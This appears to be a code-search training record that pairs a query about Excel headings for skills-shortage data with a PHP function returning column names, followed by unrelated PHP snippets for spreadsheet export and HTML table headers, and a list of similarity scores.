href=\"{$this->baseurl}/lab/select\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Select a Lab</a></li>\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/lab/edit\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Edit Selected Lab</a></li>\n</ul>\n</div>\n\n<div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n<span title=\".icon .icon-blue .icon-user \" class=\"icon icon-blue icon-user\"></span>\n<span class=\"hidden-phone\">User</span>\n<span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n {$newuser}\n <li><a href=\"{$this->baseurl}/user/find\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span>Find User</a></li>\n</ul>\n</div>\n\n<!--div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n<span title=\".icon .icon-blue .icon-flag \" class=\"icon icon-blue icon-flag\"></span>\n<span class=\"hidden-phone\">Language</span>\n<span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/language/switch/EN\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> English</a></li>\n <li><a href=\"{$this->baseurl}/language/switch/FR\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> French</a></li>\n <li><a href=\"{$this->baseurl}/language/switch/VI\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> Vietnamese</a></li>\n</ul>\n</div-->\n\n<!-- user dropdown starts -->\n<div class=\"btn-group pull-right\">\n <a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-orange .icon-user \" class=\"icon icon-orange icon-user\"></span>\n <span class=\"hidden-phone\"> {$name_header}</span>\n\t<span class=\"caret\"></span>\n </a>\n <ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/user/profile\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Profile</a></li>\n <li><a href=\"{$this->baseurl}/user/changepw\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Change Password</a></li>\n <li class=\"divider\"></li>\n\t<li><a href=\"{$this->baseurl}/user/logout\">Logout</a></li>\n </ul>\n</div>\n<!-- user dropdown ends -->\nEND;\n $auditinfo = '';\n //if ($this->dialog_name == 'audit/edit') {\n $auditinfo = \"<div style=\\\"margin:6px 0 6px 20px;padding-right:5px;\\\">Selected Audit: {$this->showaudit}</div>\";\n //}\n $this->header .= <<<\"END\"\n<div style=\"display:inline-block;\">\n <div style=\"margin:6px 0px 6px 20px;padding-right:5px;\">Selected Lab: {$this->showlab}</div>\n {$auditinfo}\n <div style=\"clear:both;\"></div></div>\nEND;\n } else {\n $this->header = $this->header . <<<\"END\"\n<div class=\"btn-group pull-left\" style=\"margin-left:100px;\">\n<a class=\"btn\" href=\"{$this->baseurl}/user/login\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Login</a></div>\nEND;\n }\n $this->header = $this->header . <<<\"END\"\n </div>\n </div> <!-- style=\"clear:both;\"></div -->\n</div>\nEND;\n\n $this->view->header = $this->header;\n }", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "public function testReportsSkillv1reportscalibrationidskills()\n {\n\n }", "public function buildHeader() {\n return [\n ['data' => t('Teaching format'), 'class' => ['align-middle']],\n ['data' => t('Event'), 'class' => ['align-middle']],\n ['data' => t('Tutor'), 'class' => ['align-middle']],\n ['data' => t('Location'), 'class' => ['align-middle']],\n ['data' => t('Room'), 'class' => ['align-middle']],\n [\n 'data' => t('Date/time'),\n 'field' => 'time.field_event_time_value',\n 'sort' => 'desc',\n 'class' => ['align-middle'],\n ],\n ['data' => t('Registration status'), 'class' => ['align-middle']],\n ];\n }", "public function scheme_download(){\n $this->load->library('PHPExcel');\n $this->load->library('PHPExcel/IOFactory');\n\n $objPHPExcel = new PHPExcel();\n \n $objPHPExcel->createSheet();\n \n $objPHPExcel->getProperties()->setTitle(\"export\")->setDescription(\"none\");\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n // Field names in the first row\n $fields = array(\n 'Scheme Name',\n 'Start Date',\n 'End Date',\n 'Product'\n );\n \n $col = 0;\n foreach ($fields as $field)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, 1, $field);\n $col++;\n }\n \n // Fetching the table data\n $this->load->model('scheme/schememodel');\n $results = $this->model_scheme_schememodel->getschemedata($this->request->get);\n \n $row = 2;\n \n foreach($results as $data)\n {\n $col = 0;\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, $data['Scheme_Name']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, $data['START_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, $data['END_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, $data['product_name']);\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n \n \n \n \n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setItalic(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setSize(12);\n $objPHPExcel->getActiveSheet()->getDefaultRowDimension('A1:L1')->setRowHeight(20);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->getColor()->setRGB('FF0000');\n $row++;\n }\n\n \n\n \n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n // Sending headers to force the user to download the file\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"Attendance_report_'.date('dMy').'.xls\"');\n header('Cache-Control: max-age=0');\n\n $objWriter->save('php://output');\n \n }", "public function headings(): array\n {\n return ['ID', 'Email ID', 'Status', 'Created At', 'Last Updated At'];\n }", "function DailyPredictionDataOnSelectedDate ($dPersonal) {\n $returnData = '';\n foreach ($dPersonal['DailyPredictionData'] as $key => $prediction) {\n $dd = (array) $prediction;\n $cont = explode(':', $dd['Description']);\n if (!$key) {\n $h3class = 'ui-accordion-header ui-corner-top ui-state-default ui-accordion-icons geth3content ui-accordion-header-active ui-state-active geth3content';\n $arialSelected = 'true';\n $tabindex = 0;\n $display = 'block';\n $sign = '<span class=\"ui-accordion-header-icon ui-icon ui-icon-triangle-1-s\"></span>';\n $ariaHidden = 'false';\n $div1 = 'getDivContent accordion-inner ui-accordion-content ui-corner-bottom ui-helper-reset ui-widget-content ui-accordion-content-active firstChild';\n } else {\n $h3class = 'ui-accordion-header ui-corner-top ui-accordion-header-collapsed ui-corner-all ui-state-default ui-accordion-icons geth3content';\n $arialSelected = 'false';\n $tabindex = -1;\n $display = 'none';\n $ariaHidden = 'true';\n $sign = '<span class=\"ui-accordion-header-icon ui-icon ui-icon-triangle-1-e\"></span>';\n $div1 = 'getDivContent accordion-inner ui-accordion-content ui-corner-bottom ui-helper-reset ui-widget-content';\n }\n $returnData .= \"<h3 class='\".$h3class.\"' role='tab' aria-selected='\".$arialSelected.\"' aria-expanded='\".$arialSelected.\"' tabindex='\".$tabindex.\"' ref='title_\".$key.\"'>\".$sign.$dd['Title'].\"</h3>\"; // Title of prediction\n //if (!$key) {\n $returnData .= \"<div class='\".$div1.\"' style='display: block;' role='tabpanel' aria-hidden='\".$ariaHidden.\"'>\";\n if (isset($cont[0]) && !empty($cont[0])) {\n $returnData .= \"<h4>\".$cont[0].\" : </h4>\";\n }\n if (isset($cont[1]) && !empty($cont[1])) {\n $returnData .= \"<b>\".trim($cont[1]).\"</b>\";\n }\n //}\n for ($i=1; $i < 11; $i++) {\n if (array_key_exists('Quetion'.$i, $dd) && array_key_exists('Answer'.$i, $dd)) {\n $returnData .= \"<div class='accordion-sec'><span>\".$dd['Quetion'.$i].\"</span><p>\".$dd['Answer'.$i].\"</p></div>\";\n }\n }\n $returnData .= \"</div>\";\n }\n return $returnData;\n}", "public function tableHeaderRow($in){\n $out = '';\n $cols = array_keys($in);\n foreach($cols as $k){\n $out .= '<td>'.$k.'</td>';\n }\n return('<tr>'.$out.'</tr>');\n }", "function getHeadline($id,$columns,$tablename,$idcolumn){\n\t\t$headline=\"\";\n\t\tif($idcolumn!=\"\"){\n\t\t\t$db = Database::Instance();\n\t\t\t$dataArr = $db->getDataFromTable(array($idcolumn=>$id),$tablename,$columns);\n\t\t\t$totalData = count($dataArr);\n\t\t\tif($totalData){\n\t\t\t\t$headline=$dataArr[0][$columns];\n\t\t\t}\n\t\t}\n\t\treturn($headline);\n\t}", "public function createHeader($columns)\n {\n $html = \"<tr>\";\n\n \n foreach ($columns as $column) {\n $html .= \"<th>\".$column['label'].\"</th>\";\n }\n $html .= \"</tr>\";\n return $html; \n }", "function createTourLogSheet($name, $data, &$workBook, $writeStats){\n\t$file = 0;\n\t$excel = 1;\n\t$cols = array('Tour ID', 'Date/Time', 'Majors', 'Student', 'Parent', 'People', 'School', 'Year', 'City', 'State', 'Email', 'Phone', 'Tour Status', 'Comments from Family', 'Comments from Ambassadors');\n\t$entries = array('id', 'tourTime', 'majorsOfInterest', 'studentName', 'parentName', 'numPeople', 'school', 'yearInSchool', 'city', 'state', 'email', 'phone', 'status', 'tourComments', 'ambComments');\n\n\t$tourDayCounts = array_fill(0, 7, 0);\n\t$tourWeekCounts = array_fill(0, 53, 0);\n\t$tourDateCounts = array_fill(0, 53, null);\n\t$weekStrings = array();\n\t$numSemesterTours = count($data);\n\t$timeStringLength = 0;\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Tours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($tour = 0; $tour < $numSemesterTours; $tour++){\n\t\t\t$text = $data[$tour][$colRef];\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\n\t\t\tif($excel){\n\t\t\t\tif(is_numeric($text)){\n\t\t\t\t\t$tourSheet->write_number($tour + 1, $col, intval($text));\n\t\t\t\t} else {\n\t\t\t\t\t$tourSheet->write_string($tour + 1, $col, $text);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($file)\n\t\t\t\tfwrite($f, \"Row: $tour, Col: $col, val: $text, width: $width\\t\");\n\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($tour + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\tfor($tour = 0; $tour < $numSemesterTours; $tour++){\n\t\tif($file)\n\t\t\tfwrite($f, \"Week 03: \".$tourWeekCounts[\"03\"].\"\\n\");\n\t\t//and now we add each tour to the stats\n\t\t$timestamp = strtotime($data[$tour]['tourTime']);\n\t\tif($file)\n\t\t\tfwrite($f, \"timestamp: $timestamp Time:\".$tour['tourTime'].\" Week: \".date('W', $timestamp).\"\\n\");\n\t\tif(($timestamp == false) || ($timestamp == -1)) continue;\n\t\t$tourDOW = intval(date('w', $timestamp));\n\t\t$tourDayCounts[\"$tourDOW\"] += 1;\n\t\t$tourWeek = intval(date('W', $timestamp));\n\t\t$tourWeekCounts[\"$tourWeek\"] += 1;\n\t\tif($tourDateCounts[\"$tourWeek\"] == null){\n\t\t\t$tourDateCounts[\"$tourWeek\"] = array_fill(0,7,0);\n\t\t}\n\t\t$tourDateCounts[\"$tourWeek\"][\"$tourDOW\"] += 1;\n\n\t\t//and create the date string for this week if it doesn't exist already\n\t\tif(!array_key_exists($tourWeek, $weekStrings)){\n\t\t\t$timeInfo = getdate($timestamp);\n\t\t\t$sunTimestamp = mktime(0,0,0, $timeInfo['mon'], $timeInfo['mday'] - $tourDOW, $timeInfo['year']);\n\t\t\t$satTimestamp = mktime(0,0,0, $timeInfo['mon'], $timeInfo['mday'] - $tourDOW + 6, $timeInfo['year']);\n\t\t\tif(date('M', $sunTimestamp) == date('M', $satTimestamp)){\n\t\t\t\t$timeStr = date('M j', $sunTimestamp) . ' - ' . date('j', $satTimestamp);\n\t\t\t} else {\n\t\t\t\t$timeStr = date('M j', $sunTimestamp) . ' - ' . date('M j', $satTimestamp);\n\t\t\t}\n\t\t\t$weekStrings[\"$tourWeek\"] = $timeStr;\n\t\t\t$tsl = getTextWidth($timeStr);\n\t\t\tif($tsl > $timeStringLength) $timeStringLength = $tsl;\n\t\t}\n\t}\n\n\tif(!$writeStats) return;\n\n\tif($excel)\n\t\t$statsSheet = &$workBook->add_worksheet($name.' Stats');\n\n\t//fill the column headers and set the the column widths\n\t$statsSheet->set_column(0, 0, $timeStringLength * (2.0/3.0));\n\t$statsSheet->write_string(0, 1, \"Monday\");\n\t$statsSheet->set_column(1, 1, getTextWidth(\"Monday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 2, \"Tuesday\");\n\t$statsSheet->set_column(2, 2, getTextWidth(\"Tuesday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 3, \"Wednesday\");\n\t$statsSheet->set_column(3, 3, getTextWidth(\"Wednesday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 4, \"Thursday\");\n\t$statsSheet->set_column(4, 4, getTextWidth(\"Thursday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 5, \"Friday\");\n\t$statsSheet->set_column(5, 5, getTextWidth(\"Friday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 6, \"Total\");\n\t$statsSheet->set_column(6, 6, getTextWidth(\"Total\") * (2.0/3.0));\n\n\t//then start populating all the data from the tours\n\t$numWeeks = count($tourDateCounts);\n\t$displayWeek = 0;\n\t//write the counts for each week\n\tfor($week = 0; $week < $numWeeks; $week++){\n\t\tif($file){\n\t\t\tfwrite($f, \"Week $week, Tours \".$tourWeekCounts[$week].\"\\n\");\n\t\t\tfor($i = 0; $i < 7; $i++){\n\t\t\t\tfwrite($f, \"Day $i, Tours \".$tourDateCounts[$week][$i].\"\\n\");\n\t\t\t}\n\t\t}\n\t\tif($tourWeekCounts[$week] == 0) continue;\n\t\t$statsSheet->write_string($displayWeek+1, 0, $weekStrings[$week]);\n\t\tfor($day = 1; $day < 6; $day++){\n\t\t\tif($excel)\n\t\t\t\t$statsSheet->write_number($displayWeek + 1, $day, $tourDateCounts[$week][$day]);\n\t\t\tif($file)\n\t\t\t\tfwrite($f, \"Week $week, Day $day, Tours \".$tourDateCounts[$week][$day].\"\\n\");\n\t\t}\n\t\t//write the totals for each week\n\t\tif($excel)\n\t\t\t$statsSheet->write_number($displayWeek + 1, 6, $tourWeekCounts[$week]);\n\t\tif($file)\n\t\t\tfwrite($f, \"Week $week, Total Tours \".$tourWeekCounts[$week].\"\\n\");\n\t\t$displayWeek++;\n\t}\n\t//then write the totals for the semester\n\tfor($day = 1; $day < 6; $day++){\n\t\tif($excel)\n\t\t\t$statsSheet->write_number($displayWeek + 1, $day, $tourDayCounts[$day]);\n\t\tif($file)\n\t\t\tfwrite($f, \"Day $day, Total Tours \".$tourDayCounts[$day].\"\\n\");\n\t}\n\n\tif($excel)\n\t\t$statsSheet->write_number($displayWeek + 1, 6, $numSemesterTours);\n\tif($file)\n\t\tfwrite($f, \"Total Tours: $numSemesterTours\\n\");\n\n\tunset($tourDayCounts);\n\tunset($tourWeekCounts);\n\tunset($tourDateCounts);\n\tunset($weekStrings);\n}", "public function getDataWithTypeLeveltitle() {}", "public function test()\n {\n\t\t$data = Session::get('exdata');\n $title = ['id', 'name', 'sex'];\n\n\n $spreadsheet = new Spreadsheet();\n $worksheet = $spreadsheet->getActiveSheet();\n //设置工作表标题名称\n $worksheet->setTitle('测试Excel');\n\n //表头\n //设置单元格内容\n foreach ($title as $key => $value) {\n $worksheet->setCellValueByColumnAndRow($key + 1, 1, $value);\n }\n\t\tLog::write($data, 'exdataT');\n $row = 2; //第二行开始\n foreach ($data as $item) {\n $column = 1;\n foreach ($item as $value) {\n $worksheet->setCellValueByColumnAndRow($column, $row, $value);\n $column++;\n }\n $row++;\n }\n\n # 保存为xlsx\n $filename = '测试Excel.xlsx';\n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save($filename);\n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"');\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n\n }", "protected function getTableHeader() {\n /** @var \\Drupal\\webform\\WebformInterface $webform */\n $webform = $this->getEntity();\n $header = [];\n $header['title'] = $this->t('Title');\n\n $header['key'] = [\n 'data' => $this->t('Key'),\n 'class' => [RESPONSIVE_PRIORITY_LOW],\n ];\n $header['type'] = [\n 'data' => $this->t('Type'),\n 'class' => [RESPONSIVE_PRIORITY_LOW],\n ];\n $header['correct_answer'] = $this->t('Answer');\n $header['weight'] = $this->t('Weight');\n $header['operations'] = $this->t('Operations');\n// $header['answer'] = [\n// 'data' => $this->t('Answer'),\n// 'class' => [RESPONSIVE_PRIORITY_LOW],\n// ];\n//\n// $header['required'] = [\n// 'data' => $this->t('Required'),\n// 'class' => ['webform-ui-element-required', RESPONSIVE_PRIORITY_LOW],\n// ];\n// $header['parent'] = $this->t('Parent');\n// $header['operations'] = [\n// 'data' => $this->t('Operations'),\n// 'class' => ['webform-ui-element-operations'],\n// ];\n return $header;\n }", "abstract protected function excel ();", "public function getHeaderData() {}", "public static function wdtAllowSheetNames()\n {\n return [\n 'Skilling South Australia',\n 'Regions',\n 'Retention',\n 'Recruitment',\n 'Migration',\n 'Skill demand',\n 'Skills shortages',\n 'Plans & projects',\n 'Actions & strategies',\n 'Industries',\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }" ]
[ "0.75601196", "0.7194854", "0.7134514", "0.7076092", "0.6945359", "0.6748988", "0.6691", "0.65575606", "0.6555345", "0.6488611", "0.64023864", "0.6172161", "0.6169663", "0.6055775", "0.60487986", "0.60233706", "0.59293413", "0.5895875", "0.58178014", "0.5796548", "0.57887137", "0.57385015", "0.5698503", "0.56830794", "0.56681246", "0.56597984", "0.56458676", "0.5590963", "0.55605614", "0.55184144", "0.547649", "0.54529583", "0.5451201", "0.54490125", "0.54451376", "0.5419417", "0.5398463", "0.5397504", "0.53832304", "0.53687465", "0.5354621", "0.53444123", "0.53382313", "0.5327097", "0.5325359", "0.5317944", "0.53175217", "0.5317518", "0.5312095", "0.5310018", "0.53062373", "0.53053564", "0.53019375", "0.52724624", "0.5242211", "0.5228686", "0.5224102", "0.52064383", "0.52057266", "0.51853174", "0.5181363", "0.5180217", "0.51724523", "0.5160856", "0.5160234", "0.5137414", "0.51339597", "0.5132275", "0.51289946", "0.51249313", "0.51224804", "0.5117472", "0.5116498", "0.51105297", "0.5103037", "0.50988066", "0.50925255", "0.5088848", "0.5081009", "0.50809306", "0.507871", "0.50779927", "0.50743794", "0.50729287", "0.506998", "0.50657296", "0.5064849", "0.5064265", "0.50633925", "0.5063349", "0.50479734", "0.5044251", "0.50398755", "0.5027289", "0.50239235", "0.50232565", "0.5020657", "0.5015703", "0.50053436", "0.50047505" ]
0.7408947
1
Skills Shortages data excel headings
public static function excelSkillsShortagesHeadings() { return [ 'Occupation/Job Title', 'Region', 'Industry', 'Type', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, 